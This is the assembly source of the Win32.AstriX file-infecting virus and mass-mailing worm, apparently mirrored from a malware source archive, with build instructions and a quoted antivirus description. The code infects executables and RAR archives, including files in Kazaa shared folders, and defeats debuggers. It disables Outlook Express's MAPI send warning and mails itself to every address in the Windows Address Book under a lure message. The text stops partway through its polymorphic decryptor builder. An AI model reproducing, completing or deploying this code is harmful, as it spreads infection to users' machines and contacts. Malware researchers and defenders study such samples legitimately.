13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-16 03:58:34 +00:00
vxug-MalwareSourceCode/Win32/Win32.Astrix.asm
2020-10-10 22:07:43 -05:00

2102 lines
50 KiB
NASM

comment ~
[Information]
Virus Name:Win32.AstriX
Virus Author:DR-EF
Virus Size:8k
Target:PE file:exe\scr & rar archives
Features:
o Encrypted
o Polymorphic
o AntiDebugging
o P2P Worm
o MAIL Worm(using mapi)
Payload:MessageBox & Change windows titles
every year at 29/12
[Description]
Here is a virus description from Computer Associates:
(http://www3.ca.com/threatinfo/virusinfo/virus.aspx?id=38333)
my comments are between the [* *]
Win32.Astrool.12730 [* fuck off avers ,its Win32.Astrix !!! *]
Alias: W32/Dref@MM (McAfee),
Win32/Astrool.12730
Category: Win32
Type: Virus, Worm
CHARACTERISTICS:
---------------
Win32.Astrool.12730 is a polymorphic, encrypted file infecting virus,
as well as a worm that can spread via e-mail using the Simple MAPI
protocol.[* wow,i didnt know that there is Simple mapi protocol ? *]
It also targets files being shared by Kazaa, enabling it
to spread via peer-to-peer file sharing.
Method of Installation:
-----------------------
Astrool.12730 does not install itself on the system directly.
As a traditional virus, it implants itself by infecting files on the system.
Method of Distribution:
-----------------------
Via File Infection:
When run, Astrool.12730 searches for and infects Windows PE executable
files in the current directory,[* and in two upper directorys ! *]
and in Kazaa shared directories. It finds these shared directories
by reading this registry value:
HKEY_CURRENT_USER\Software\Kazaa\LocalContent\dir0
This enables it to spread through executable files shared through Kazaa.
The virus infects files with the extensions .exe and .scr. It also attempts
to add itself to RAR archives (*.rar), if it finds any.
The virus is polymorphic, meaning every instance of the virus appears different.
Via E-mail:
Astrool.12730 sends itself via e-mail only at particular times and dates
- the minutes must be 50 or higher, the secconds 30 or lower, and the day
of the month must be the 15th or earlier. If the time matches, it then checks
for an active Internet connection by attempting to connect to http://www.cnn.com/.
If the connection is successful, it begins its e-mail routine. First,
it sets the following registry value:
HKEY_CURRENT_USER\Identities\(Default User ID)\Software\Microsoft
\Outlook Express\5.0\Mail\Warn on Mapi Send = 0x0
Where (Default User ID) is read from the value:
HKEY_CURRENT_USER\Identities\Default User ID
This will stop Outlook Express from warning the user when another program
attempts to send mail through it using MAPI.
Next, it finds the default Windows Address Book (WAB) file from the following
registry value:
HKEY_CURRENT_USER\Software\Microsoft\WAB\WAB4\Wab File Name
It then uses Simple MAPI commands to send itself to all addresses it finds
in the WAB file. The messages appear as follows:
Subject:
i have cooool stuff for you !
Body:
hi
take a look at whate i find in the net !
its very cool program,check it out :-)
and tell me if you like it,ok
bye
The attachment will be the file that sent the message. The file name and size
therefore vary depending on the infected host file.
Note: In lab tests, the virus only successfully sent e-mails on systems using
Outlook Express version 6.
Payload:
-------
If the date is 29 December, the virus displays the following message box:
Win32.Astrix Virus Coded By DR-EF All Right Reserved
It also replaces text labels in many open windows with this message:
Win32.Astrix Virus Coded By DR-EF All Right Reserved
Analysis by Hamish O'Dea
[How To Compile]
tasm32 /m3 /ml /zi Astrix.asm , , ;
tlink32 /tpe /aa /v astrix , astrix , ,import32.lib
pewrsec Astrix.exe
~
.386
.model flat
extrn MessageBoxA:proc ;apis for the first generation
extrn ExitProcess:proc
virus_size equ End_Astrix - Astrix
loader_size equ end_virus_decryptor-virus_decryptor
.data
db ?
.code
Astrix:
mov esp,[esp + 8h]
pop dword ptr fs:[0]
add esp,4h
call decrypt_virus
start_ecrypt: mov esp,[esp + 8h]
pop dword ptr fs:[0] ;remove SEH
add esp,4h
call get_delta
get_delta: pop ebp
sub ebp,offset get_delta
first_g: call find_kernel ;first generation start here
jnc execute_host
call get_proc_addr
mov ecx,number_of_apis
lea eax,[ebp + api_strings]
lea ebx,[ebp + api_addresses]
mov edx,[ebp + kernel_base]
call get_apis
jnc execute_host
call create_key
mov word ptr [ebp + xor_ax_key+2],ax
call create_key
mov byte ptr [ebp + xor_al_key+1],al
mov byte ptr [ebp + mov_cl_key+1],ah
pushad
xor ebx,ebx
lea eax,[ebp + crash_debugger]
push eax
push dword ptr fs:[ebx] ;set SEH
mov fs:[ebx],esp
mov dword ptr [ebx],eax ;bye bye
crash_virus: mov ecx,(End_Astrix-crash_debugger)
crash: inc eax
mov word ptr [eax],0f0bh ;UD2 - undefined instruction
loop crash
mov ecx,(overwrite_all-Astrix)
lea eax,[ebp + Astrix]
overwrite_all: inc eax
mov word ptr [eax],0f0bh ;UD2 - undefined instruction
loop overwrite_all
crash_debugger: mov esp,[esp + 8h]
pop dword ptr fs:[0] ;remove SEH
add esp,4h
popad
lea eax,[ebp + IsDebuggerPresent_api]
push eax
push [ebp + kernel_base]
call [ebp + _GetProcAddress]
cmp eax,0h
je check_debugger2
call eax
xchg eax,ecx
lea eax,[ebp + crash_debugger]
dec ecx
jcxz crash_virus
check_debugger2:mov ecx,fs:[20h]
jcxz no_debugger1
lea eax,[ebp + crash_debugger]
jmp crash_virus
no_debugger1: call infect_current_and_upper_directory
call infect_kazaa_shared_files
call send_virus_via_mail
call payload
execute_host: popad
db 64h,0A1h,0,0,0,0 ;mov eax,fs:[00000000]
ret
IsDebuggerPresent_api db "IsDebuggerPresent",0h
payload:
lea eax,[ebp + SYSTEMTIME]
push eax
call [ebp + _GetLocalTime]
;check trigger:
cmp [ebp + wMonth],0ch
jne exit_payload
cmp [ebp + wDay],1dh
jne exit_payload
lea eax,[ebp + user32_dll]
push eax
call [ebp + _LoadLibrary]
cmp eax,0h
je exit_payload
push eax ;save module handle
xchg ebx,eax
lea eax,[ebp + SetWindowTextA]
push eax
push ebx
call [ebp + _GetProcAddress]
cmp eax,0h
je exit_payload
mov [ebp + SetWindowText],eax
mov ecx,0ffffh
pay_load: push ecx
lea eax,[ebp + copyright]
push eax
push ecx
call [ebp + SetWindowText]
pop ecx
loop pay_load
lea eax,[ebp + MessageBoxA2]
pop ebx
push eax
push ebx
call [ebp + _GetProcAddress]
cmp eax,0h
je exit_payload
lea ebx,[ebp + copyright]
push MB_ICONINFORMATION or MB_SYSTEMMODAL
push ebx
push ebx
push 0
call eax
exit_payload: ret
user32_dll db "User32.dll",0
SetWindowTextA db "SetWindowTextA",0
MessageBoxA2 db "MessageBoxA",0
SetWindowText dd 0
MB_SYSTEMMODAL equ 00001000h
MB_ICONINFORMATION equ 00000040h
SYSTEMTIME:
wYear dw 0
wMonth dw 0
wDayOfWeek dw 0
wDay dw 0
wHour dw 0
wMinute dw 0
wSecond dw 0
wMilliseconds dw 0
create_key:
call [ebp + _GetTickCount]
mov [ebp + rndnm],eax
rnd_num: mov cx,ax ;this code is useless,but i didnt
ror eax,cl ;remove it when i relese it,because
mov cl,al ;i didnt had time to change my code.
dec ecx
mul cx
shr eax,1h
add eax,2h
ret
random_number:
mov eax,[ebp + rndnm]
call rnd_num
xchg eax,ecx
call [ebp + _GetTickCount]
add eax,ecx
mov [ebp + rndnm],eax
ret
rndnm dd 0h
infect_kazaa_shared_files:
;set SEH:
pushad
lea eax,[ebp + kazaa_error_handle]
push eax
xor eax,eax
push dword ptr fs:[eax]
mov fs:[0],esp
lea eax,[ebp + advapi32_dll]
push eax
call [ebp + _LoadLibrary]
cmp eax,0h
je mail_err
mov edx,eax
mov ecx,4h
lea eax,[ebp + reg_funcs]
lea ebx,[ebp + reg_funcs_add]
call get_apis
jnc kazaa_error
lea eax,[ebp + hkey]
push eax
push KEY_QUERY_VALUE
push 0h
lea eax,[ebp + dirs_location]
push eax
push HKEY_CURRENT_USER
call [ebp + _RegOpenKeyEx]
cmp eax,0h
jne kazaa_error
next_kazaa_dir: mov [ebp + val_s],000000ffh
mov [ebp + val],0h
mov [ebp + val_type],0h
lea eax,[ebp + val_s]
push eax
lea eax,[ebp + val]
push eax
lea eax,[ebp + val_type]
push eax
push 0h
lea eax,[ebp + dir_n]
push eax
push [ebp + hkey]
call [ebp + _RegQueryValueEx]
cmp eax,0h
jne kazaa_close_key
lea eax,[ebp + val]
add eax,7h
call infect_directory
lea eax,[ebp + dir_n]
add eax,3h
inc byte ptr [eax]
cmp byte ptr [eax],3ah
jne next_kazaa_dir
kazaa_close_key:
push [ebp + hkey]
call [ebp + _RegCloseKey]
kazaa_error:
;remove SEH
pop dword ptr fs:[0]
add esp,4h
popad
ret
kazaa_error_handle:
mov esp,[esp + 8h]
pop dword ptr fs:[0]
add esp,4h
popad
ret
dirs_location db "Software\Kazaa\LocalContent",0
dir_n db "dir",30h,0h
val_s dd 0ffh
val db 0ffh dup(0)
val_type dd 0h
send_virus_via_mail:
;check some conditions before sending mails:
lea eax,[ebp + SYSTEMTIME]
push eax
call [ebp + _GetLocalTime]
cmp [ebp + wMinute],32h
jb mail_err
cmp [ebp + wDay],0fh
ja mail_err
cmp [ebp + wSecond],1eh
ja mail_err
lea eax,[ebp + advapi32_dll]
push eax
call [ebp + _LoadLibrary]
cmp eax,0h
je mail_err
mov edx,eax
mov ecx,4h
lea eax,[ebp + reg_funcs]
lea ebx,[ebp + reg_funcs_add]
call get_apis
jnc mail_err
;check if there is active internet connection:
lea eax,[ebp + wininet_dll]
push eax
call [ebp + _LoadLibrary]
cmp eax,0h
je mail_err
xchg eax,ebx
lea eax,[ebp + InternetCheckConnection]
push eax
push ebx
call [ebp + _GetProcAddress]
cmp eax,0h
je mail_err
xchg eax,ecx
push 0h
push FLAG_ICC_FORCE_CONNECTION
lea eax,[ebp + site_to_check]
push eax
call ecx
cmp eax,0h
je mail_err
mov eax,fs:[20h] ;do something nice.
cmp eax,0h
je no_debugger2
lea eax,[ebp + crash_debugger]
jmp crash_virus
;disable outlook express virus protection:
no_debugger2: lea eax,[ebp + hkey]
push eax
push 0h
push KEY_QUERY_VALUE
lea eax,[ebp + key_name]
push eax
push HKEY_CURRENT_USER
call [ebp + _RegOpenKeyEx]
cmp eax,0h
jne search_mails
lea eax,[ebp + id_size]
push eax
lea eax,[ebp + user_id]
push eax
xor eax,eax
push eax
push eax
lea eax,[ebp + id]
push eax
push [ebp + hkey]
call [ebp + _RegQueryValueEx]
cmp eax,0h
jne close_p_keys
lea eax,[ebp + hkey2]
push eax
push KEY_WRITE
push 0h
lea eax,[ebp + user_id]
push eax
push [ebp + hkey]
call [ebp + _RegOpenKeyEx]
cmp eax,0h
jne close_p_keys
push [ebp + hkey]
call [ebp + _RegCloseKey]
lea eax,[ebp + hkey]
push eax
push KEY_WRITE
push 0h
lea eax,[ebp + mapi_k]
push eax
push [ebp + hkey2]
call [ebp + _RegOpenKeyEx]
cmp eax,0h
jne close_p_keys
push 4h ;dd
lea eax,[ebp + protection_off]
push eax
push REG_DWORD
push 0h
lea eax,[ebp + mapi_virus_p]
push eax
push [ebp + hkey]
call [ebp + _RegSetValueExA]
close_p_keys: push [ebp + hkey]
call [ebp + _RegCloseKey]
push [ebp + hkey2]
call [ebp + _RegCloseKey]
;search emails:
search_mails:
lea eax,[ebp + hkey]
push eax
xor eax,eax
push eax
push eax
lea eax,[ebp + wab_location]
push eax
push HKEY_CURRENT_USER
call [ebp + _RegOpenKeyEx]
cmp eax,0h
jne mail_err
lea eax,[ebp + sizeof_wab_path]
push eax
lea eax,[ebp + wab_path]
push eax
xor eax,eax
push eax
push eax
push eax
push [ebp + hkey]
call [ebp + _RegQueryValueEx]
cmp eax,0h
jne mail_err
push [ebp + hkey]
call [ebp + _RegCloseKey]
cmp eax,0h
jne mail_err
lea ebx,[ebp + wab_path]
lea eax,[ebp + WIN32_FIND_DATA]
push eax
push ebx
Call [ebp + _FindFirstFile]
cmp eax,0h
je mail_err
lea ebx,[ebp + wab_path]
call open_file
cmp eax,INVALID_HANDLE_VALUE
je mail_err
mov [ebp + opened_file_handle],eax
mov eax,[ebp + nFileSizeLow]
call create_map
cmp eax,0h
je mail_err
mov [ebp + map_handle],eax
mov eax,[ebp + nFileSizeLow]
call map_view
cmp eax,0h
je mail_err
mov [ebp + map_base],eax
;check how much memory we need to allocate for emails:
mov ax,word ptr [eax + 64h]
cmp ax,1h
je unmapwab
mov cx,44h ;every mail allocate 68 bytes
mul cx
;ax-how much memory to allocate
xor ebx,ebx
mov bx,ax
push ebx
push GPTR
call [ebp + _GlobalAlloc]
cmp eax,0h
je unmapwab
mov [ebp + allocated_memory_handle],eax
;start to read all emails from wab file:
xchg eax,ebx
xor ecx,ecx
mov eax,[ebp + map_base]
mov cx,word ptr [eax + 64h]
add eax,[eax + 60h]
mov [ebp + number_of_mails],cx
;eax - addresses in wab
;ebx - allocated memory
;cx - number of addreses
next_mail:
push ecx
mov ecx,44h
copy_mail: cmp byte ptr [eax],0h
je move_to_next_mail
mov dl,byte ptr [eax]
mov byte ptr [ebx],dl
inc ebx
add eax,2h
dec ecx
loop copy_mail
move_to_next_mail:
add eax,ecx
inc ebx
mov byte ptr [ebx],0h
pop ecx
loop next_mail
unmapwab:
push [ebp + map_base]
call [ebp + _UnmapViewOfFile]
push [ebp + map_handle]
call [ebp + _CloseHandle]
push [ebp + opened_file_handle]
call [ebp + _CloseHandle]
;--------------LogIn:
lea eax,[ebp + mapi_dll]
push eax
call [ebp + _LoadLibrary]
cmp eax,0h
je mail_err
mov edx,eax
mov ecx,3h
lea eax,[ebp + mapi_funcs]
lea ebx,[ebp + mapi_func_add]
call get_apis
jnc free_mails_mem
lea eax,[ebp + mapi_session_handle]
push eax
xor eax,eax
push eax
push eax
push MAPI_NEW_SESSION
push eax
push eax
call [ebp + _MAPILogon]
cmp eax,0h
jne mail_err
;-----------Get The Infected FileName:
push 0ffh
lea eax,[ebp + infected_file]
push eax
push 0h
call [ebp + _GetModuleFileName]
cmp eax,0h
je log_off
;----------SendMail:
xor ecx,ecx
mov cx,[ebp + number_of_mails]
inc cx
mov ebx,[ebp + allocated_memory_handle]
send_next_mail:
dec ecx
push ecx
lea eax,[ebp + subject]
mov [ebp + lpszSubject],eax
lea eax,[ebp + message]
mov [ebp + lpszNoteText],eax
lea eax,[ebp + MapiRecipDesc2]
mov [ebp + lpOriginator],eax
lea eax,[ebp + MapiRecipDesc]
mov [ebp + lpRecips],eax
lea eax,[ebp + MapiFileDesc]
mov [ebp + lpFiles],eax
;set the recipient:
mov [ebp + lpszName],ebx ; address from the allocated memory
mov [ebp + lpszAddress],ebx
;set the attachment structure:
lea eax,[ebp + infected_file]
mov [ebp + lpszPathName],eax
;send the mail:
push 0h
push MAPI_NEW_SESSION
lea eax,[ebp + offset MapiMessage]
push eax
xor eax,eax
push eax
push eax
call [ebp + _MAPISendMail]
pop ecx
cmp eax,0h
jne log_off
next_address:
inc ebx
cmp byte ptr [ebx],0h
jne next_address
inc ebx
cmp cx,0h
jne send_next_mail
;----------LogOff
log_off:
xor eax,eax
push eax
push eax
push eax
push [ebp + mapi_session_handle]
call [ebp + _MAPILogoff]
;----------FreeMemory:
free_mails_mem: push [ebp + allocated_memory_handle]
call [ebp + _GlobalFree]
mail_err:
ret
InternetCheckConnection db "InternetCheckConnectionA",0
wininet_dll db "Wininet.dll",0
site_to_check db "http://www.cnn.com/",0
FLAG_ICC_FORCE_CONNECTION equ 00000001h
;outlook express protection:
hkey2 dd 0h
key_name db "Identities",0h
id db "Default User ID",0h
user_id db 64h dup(0h)
id_size dd 64h
id_type dd 0h
mapi_virus_p db "Warn on Mapi Send",0
mapi_k db "Software\Microsoft\Outlook Express\5.0\Mail",0
protection_off dd 0h
;mapi data:
MAPI_NEW_SESSION equ 00000002h
mapi_dll db "mapi32.dll",0
mapi_funcs: MAPILogon db "MAPILogon",0
MAPILogoff db "MAPILogoff",0
MAPISendMail db "MAPISendMail",0
mapi_func_add: _MAPILogon dd 0
_MAPILogoff dd 0
_MAPISendMail dd 0
mapi_session_handle dd 0
wab_location db "Software\Microsoft\WAB\WAB4\Wab File Name",0
wab_path db 0ffh dup(0)
sizeof_wab_path dd 0ffh
number_of_mails dw 0
subject db "i have cooool stuff for you !",0
message db "hi",0dh,0ah,"take a look at whate i find in the net !",0dh,0ah,"its very cool program,check it out :-)",0dh,0ah,"and tell me if you like it,ok",0dh,0ah,"bye",0
;MapiMessage Structure:
MapiMessage:
ulReserved dd 0
lpszSubject dd 0
lpszNoteText dd 0
lpszMessageType dd 0
lpszDateReceived dd 0
lpszConversationID dd 0
flFlags1 dd 0
lpOriginator dd 0
nRecipCount dd 1h
lpRecips dd 0
nFileCount dd 1h
lpFiles dd 0
;MapiFileDesc Structure:
MapiFileDesc:
ulReserved2 dd 0
flFlags2 dd 0
nPosition dd 0
lpszPathName dd 0 ;infected file
lpszFileName dd 0
lpFileType dd 0
;MapiRecipDesc Structure:
MapiRecipDesc:
ulReserved3 dd 0
ulRecipClass dd 1
lpszName dd 0
lpszAddress dd 0
ulEIDSize dd 0
lpEntryID dd 0
MapiRecipDesc2:
ulReserved4 dd 0
ulRecipClass2 dd 0
lpszName2 dd 0
lpszAddress2 dd 0
ulEIDSize2 dd 0
lpEntryID2 dd 0
infect_current_and_upper_directory:
mov eax,fs:[20h]
cmp eax,0h
je no_debugger
xor esp,esp ;fuck up debugger !
no_debugger: mov [ebp + infection_counter],0h
mov [ebp + directory_level],0h
lea eax,[ebp + cur_dir]
push eax
push max_path
call [ebp + _GetCurrentDirectory]
cmp eax,max_path
ja buffer_not_good
lea eax,[ebp + Current_Directory]
push eax
push max_path
call [ebp + _GetCurrentDirectory]
cmp eax,max_path
ja buffer_not_good
mov [ebp + directory_name_size],eax
lea eax,[ebp + Current_Directory]
call infect_directory
up_dir: lea ebx,[ebp + Current_Directory]
mov eax,[ebp + directory_name_size]
add ebx,eax
inc ebx
up_search: cmp byte ptr [ebx],'\'
je end_search
mov byte ptr [ebx],0h
dec ebx
jmp up_search
end_search:
mov byte ptr [ebx],0h
dec ebx
cmp byte ptr [ebx],':' ;we are in the root ?
je restore_cur_dir
lea eax,[ebp + Current_Directory]
call infect_directory
cmp [ebp + directory_level],2h ;infect 2 uppers directorys
jbe up_dir
restore_cur_dir:
lea eax,[ebp + cur_dir]
push eax
call [ebp + _SetCurrentDirectory]
buffer_not_good:
ret
directory_level db 0h
cur_dir db max_path dup(0)
infect_directory:
;eax - pointer to directory name
push eax
call [ebp + _SetCurrentDirectory]
cmp eax,0h
je search_error
lea eax,[ebp + WIN32_FIND_DATA]
push eax
lea eax,[ebp + search_mask]
push eax
call [ebp + _FindFirstFile]
cmp eax,INVALID_HANDLE_VALUE
je search_error
mov [ebp + file_handle],eax
next_file:
cmp [ebp + infection_counter],6h
jae search_error
lea eax,[ebp + cFileName]
@@1: cmp byte ptr [eax],0h
je check_ex
cmp byte ptr [eax],'v' ;dont infect files with 'v' in they name
je _unknow
inc eax
jmp @@1
check_ex:
sub eax,4h
cmp dword ptr [eax],"exe."
je pe_file
cmp dword ptr [eax],"EXE."
je pe_file
cmp dword ptr [eax],"RCS."
je pe_file
cmp dword ptr [eax],"rcs."
je pe_file
cmp dword ptr [eax],"rar."
je rar_file
cmp dword ptr [eax],"RAR."
je rar_file
jmp _unknow
rar_file: call infect_rar
jmp _unknow
pe_file: call infect_pe
_unknow: lea eax,[ebp + WIN32_FIND_DATA]
push eax
push [ebp + file_handle]
call [ebp + _FindNextFile]
cmp eax,0
jne next_file
search_error:
inc [ebp + directory_level]
ret
infect_pe:
mov eax,[ebp + nFileSizeLow]
call pad_size
cmp edx,0h
je error_1
mov ebx,[ebp + dwFileAttributes]
mov [ebp + file_old_attributes],ebx
lea ebx,[ebp + cFileName]
push FILE_ATTRIBUTE_NORMAL
push ebx
call [ebp + _SetFileAttributes]
cmp eax,0h
je error_1
;do not infect files that are smaller than 10kb
cmp [ebp + nFileSizeLow],2800h
jb error
;do not infect files that are bigger than 3mb
cmp [ebp + nFileSizeLow],300000h
ja error
call open_file
cmp eax,INVALID_HANDLE_VALUE
je error
mov [ebp + opened_file_handle],eax
lea eax,[ebp + last_write_time]
push eax
lea eax,[ebp + last_access_time]
push eax
lea eax,[ebp + creation_time]
push eax
push [ebp + opened_file_handle]
call [ebp + _GetFileTime]
mov eax,[ebp + nFileSizeLow]
add eax,virus_size ;eax=host size + virus size
call pad_size
push eax
call create_map
cmp eax,0h
je error_close_file
mov [ebp + map_handle],eax
pop eax
call map_view
cmp eax,0h
je error_close_map
mov [ebp + map_base],eax
;set SEH:
pushad
lea ebx,[ebp + _infection_error_handle]
push ebx
xor ebx,ebx
push dword ptr fs:[ebx]
mov fs:[ebx],esp
cmp word ptr [eax],"ZM" ;check MZ sign
jne cant_infect
add eax,[eax + 3ch]
cmp word ptr [eax],"EP" ;check PE sign
jne cant_infect
mov bx,word ptr [eax + 06h]
mov [ebp + number_of_sections],bx ;save number of sections
mov ebx,[eax + 74h]
mov [ebp + number_directories_entries],ebx
mov ebx,eax
add ebx,18h ;ebx = pe optional header
mov ecx,[ebx + 24h] ;ecx=file alignment
mov [ebp + file_alignment],ecx
;infect only files that have file alignment of 200h or 1000h
cmp ecx,200h
jne check_1000h
jmp file_alignment_ok
check_1000h:
cmp ecx,1000h
jne cant_infect
file_alignment_ok:
mov ecx,[ebx + 1ch] ;ecx=image_base
mov [ebp + host_image_base],ecx
;ok we got all information that we need from the pe optional header
;lets find the code section:
push eax
push ebx
mov ecx,[ebp + number_directories_entries]
shl ecx,3h ; 2^3=8(directory size)
mov ebx,eax ;ebx point to pe header
add ebx,78h ;ebx=pe header + optional pe header
add ebx,ecx ;ebx=first section header
xor ecx,ecx
mov cx,word ptr [eax + 6h] ; cx=number of sections
next_section: cmp dword ptr [ebx],"xet." ; .text ?
je found_code_section
cmp dword ptr [ebx],"doc." ; .code ?
je found_code_section
cmp dword ptr [ebx],"EDOC" ; CODE ?
je found_code_section
add ebx,28h
loop next_section
jmp canot_infect_file
found_code_section:
;check if section has code attributes:
mov eax,[ebx + 24h]
and al,20h
cmp al,0h
je canot_infect_file
;lets check if we have room to put virus loader
mov eax,dword ptr [ebx + 8h]
mov ecx,dword ptr [ebx + 10h]
cmp ecx,64h ;minimum size of code section
jb canot_infect_file
sub ecx,eax
cmp ecx,(loader_size*2)
jb canot_infect_file
;save size of free space:
sub ecx,loader_size
shr ecx,1h
mov [ebp + free_space],ecx
;ebx = code section
;let's save the address where the loader will be writen
mov eax,[ebp + map_base] ;start of the file !
mov ecx,[ebx + 14h] ;pointer to section raw data
add ecx,eax
add ecx,[ebx + 8h ] ;virtual size
mov [ebp + where_to_write_decryptor],ecx
;search for mov eax,fs:[00000000] in the code section
;and replace it with call virus_decryptor
pushad
push eax ;image base of the file in the memory
add eax,[eax + 3ch] ;eax - pointer to pe header
add eax,28h ;eax - point to the entry point
mov eax,[eax]
pop ebx
add eax,ebx ;eax -entry point va
cmp [ebp + file_alignment],200h
jne start_search
sub eax,0c00h ;fix bug
start_search: mov edx,64h ;we search the first 100 bytes after the entry point
next_search: cmp word ptr [eax],0A164h
jne move_to_next ;move to next 4 bytes
cmp dword ptr [eax + 2h],00000000 ;more op code
je mov_eax_fs_0_found
move_to_next: dec edx
cmp edx,0h
je remove_mem_and_unmap
inc eax
jmp next_search
remove_mem_and_unmap:
popad
jmp canot_infect_file
mov_eax_fs_0_found:
;eax - pointer to mov eax,fs:[00000000]
;replace mov eax,fs:[00000000] with call virus_decryptor
mov edx,[ebp + where_to_write_decryptor]
push eax
sub edx,eax
sub edx,5h
pop ebx
push edx
call [ebp + _GetTickCount]
cmp al,7fh
ja epo2
call _get_byte
mov byte ptr [ebx],al
mov byte ptr [ebx + 1h],0e8h
pop edx
dec edx
mov dword ptr [ebx + 2h],edx
jmp epo_ok
epo2: mov byte ptr [ebx],0e8h
pop edx
mov dword ptr [ebx + 1h],edx
call _get_byte
mov byte ptr [ebx + 5h],al
epo_ok: popad
;lets update the virtual size in the code section
mov ecx,[ebx + 8h]
add ecx,loader_size
add ecx,[ebp + free_space]
mov [ebx + 8h],ecx
pop ebx
pop eax
;lets add virus code to the end of the last section
mov ecx,[ebp + number_directories_entries]
shl ecx,3h ; 2^3=8(directory size)
mov ebx,eax ;ebx point to pe header
add ebx,78h ;ebx=pe header + optional pe header
add ebx,ecx ;ebx=first section header
push eax ;save eax(eax point to pe header)
xor eax,eax
xor ecx,ecx
mov ax,[ebp + number_of_sections]
dec ax
mov cx,28h
mul cx ;eax=number of sections-1 * size of section header
add ebx,eax ;ebx point now to the last section header
pop eax ;restore eax
;ebx=last section header
;eax=pe header
push ebx
mov [ebp + last_section],ebx
add ebx,8h ;[ebx]=virtual size
mov ecx,[ebx]
add ecx,virus_size ;ecx=size of virus + virtual size
mov [ebx],ecx ;set new VirtualSize
xor edx,edx
push eax ;save eax
xchg ecx,eax
mov ecx,[ebp + file_alignment]
div cx
sub ecx,edx
mov eax,[ebx] ;eax=virtual size
add eax,ecx
mov ebx,[ebp + last_section]
add ebx,10h
mov [ebx],eax ;set new SizeOfRawData
add ebx,14h
;set new section flags
or dword ptr [ebx],00000020h ;code
or dword ptr [ebx],40000000h ;readable
or dword ptr [ebx],80000000h ;writeable
pop eax
pop ebx
;copy virus to the last section of the host
mov ecx,[ebp + map_base]
add ecx,[ebx + 08h]
add ecx,[ebx + 14h]
sub ecx,virus_size
xchg edi,ecx ;location to copy the virus
push eax
lea esi,[ebp + Astrix]
push esi
push edi
push edi
;copy virus and encode it with 2 layers
mov ecx,virus_size
rep movsb
pop edi
add edi,(start_ecrypt-Astrix)
mov esi,edi
mov ecx,(decrypt_virus-start_ecrypt)
encrypt: lodsb
push ecx
mov cl,byte ptr [ebp + mov_cl_key+1]
rol al,cl
xor al,byte ptr [ebp + xor_al_key+1]
pop ecx
stosb
loop encrypt
pop edi
pop esi
mov esi,edi
mov ecx,(virus_size/2)
encrypt2: lodsw
rol ah,1h
xor ax,word ptr [ebp + xor_ax_key+2]
ror ax,cl
add al,cl
stosw
loop encrypt2
pop eax
;set new entry point in the virus decryptor!:
mov ecx,[ebx + 0ch]
add ecx,[ebx + 08h]
sub ecx,virus_size
add ecx,[ebp + host_image_base]
mov dword ptr [ebp + mov_esi_virus_ep+1],ecx
;create a (lame)polymorphic virus decryptor between the code section and the next section
mov edi,[ebp + where_to_write_decryptor]
push edi
push eax
call write_junk_code
mov byte ptr [edi],60h ;pushad
inc edi
dec [ebp + free_space]
call write_junk_code
call [ebp + _GetTickCount]
and eax,5ah
cmp al,1eh
ja next_ins
mov byte ptr [edi],68h ;push
inc edi
mov ebx,dword ptr [ebp + vl_cmd1 + 1h]
mov dword ptr [edi],ebx
add edi,4h
sub [ebp + free_space],5h
call write_junk_code
mov byte ptr [edi],5eh ;pop esi
inc edi
dec [ebp + free_space]
jmp next_ins3
next_ins: cmp al,3ch
ja next_ins2
mov ebx,dword ptr [ebp + vl_cmd1]
mov [edi],ebx
add edi,4h
sub [ebp + free_space],4h
mov bl,byte ptr [ebp + vl_cmd1 + 4h]
mov byte ptr [edi],bl
inc edi
sub [ebp + free_space],5h
jmp next_ins3
next_ins2: call [ebp + _GetTickCount]
cmp al,7fh
ja put_sub
mov word ptr [edi],0f633h ;xor esi,esi
jmp sub_ok
put_sub: mov word ptr [edi],0f62bh ;sub esi,esi
sub_ok: add edi,2h
call write_junk_code
mov word ptr [edi],0f681h ;xor esi
mov ebx,dword ptr [ebp + vl_cmd1 + 1h]
mov dword ptr [edi + 2h],ebx
add edi,6h
sub [ebp + free_space],8h
next_ins3: call write_junk_code
call [ebp + _GetTickCount]
cmp al,7fh
ja next_ins4
mov bl,byte ptr [ebp + vl_cmd2]
mov byte ptr [edi],bl
inc edi
dec [ebp + free_space]
jmp next_ins5
next_ins4: mov byte ptr [edi],68h ;push
inc edi
mov ebx,dword ptr [ebp + vl_cmd1 + 1h]
mov dword ptr [edi],ebx
add edi,4h
sub [ebp + free_space],5h
next_ins5: call write_junk_code
call [ebp + _GetTickCount]
cmp al,7fh
ja next_ins6
mov byte ptr [edi],68h ;push
inc edi
mov ebx,dword ptr [ebp + vl_cmd1 + 1h]
mov dword ptr [edi],ebx
add edi,4h
mov byte ptr [edi],5fh ;pop edi
inc edi
sub [ebp + free_space],5h
jmp next_ins7
next_ins6: mov bx,word ptr [ebp + vl_cmd3]
mov word ptr [edi],bx
add edi,2h
sub [ebp + free_space],2h
next_ins7: call write_junk_code
call [ebp + _GetTickCount]
cmp al,7fh
ja next_ins8
mov ebx,dword ptr [ebp + vl_cmd4]
mov dword ptr [edi],ebx
add edi,4h
mov bl,byte ptr[ebp + vl_cmd4 + 4h]
mov byte ptr [edi],bl
push edi
inc edi
sub [ebp + free_space],5h
jmp next_ins9
next_ins8: mov byte ptr [edi],0b9h
mov dword ptr [edi + 1h],not (virus_size/2)
add edi,5h
call write_junk_code
mov word ptr [edi],0d1f7h ;not ecx
inc edi
push edi
inc edi
sub [ebp + free_space],7h
next_ins9: call write_junk_code
call [ebp + _GetTickCount]
cmp al,7fh
jb put_lods
;write mov ax,word ptr [esi]
mov byte ptr [edi],66h
inc edi
mov byte ptr [edi],8bh
inc edi
mov byte ptr [edi],06h
inc edi
call write_junk_code
;write add esi,2h
mov byte ptr [edi],83h
inc edi
mov byte ptr [edi],0c6h
inc edi
mov byte ptr [edi],02h
inc edi
jmp ___1
put_lods: mov bx,word ptr [ebp + vl_cmd5]
mov word ptr [edi],bx
add edi,2h
sub [ebp + free_space],2h
___1: call write_junk_code
mov bx,word ptr [ebp + vl_cmd6]
mov word ptr [edi],bx
add edi,2h
sub [ebp + free_space],2h
call write_junk_code
mov ebx,dword ptr [ebp + vl_cmd7]
mov dword ptr [edi],ebx
add edi,3h
sub [ebp + free_space],3h
call write_junk_code
mov ebx,dword ptr [ebp + vl_cmd8]
mov dword ptr [edi],ebx
add edi,4h
sub [ebp + free_space],4h
call write_junk_code
mov bx,word ptr [ebp + vl_cmd9]
mov word ptr [edi],bx
add edi,2h
sub [ebp + free_space],2h
call write_junk_code
call [ebp + _GetTickCount]
cmp al,7fh
ja stos_
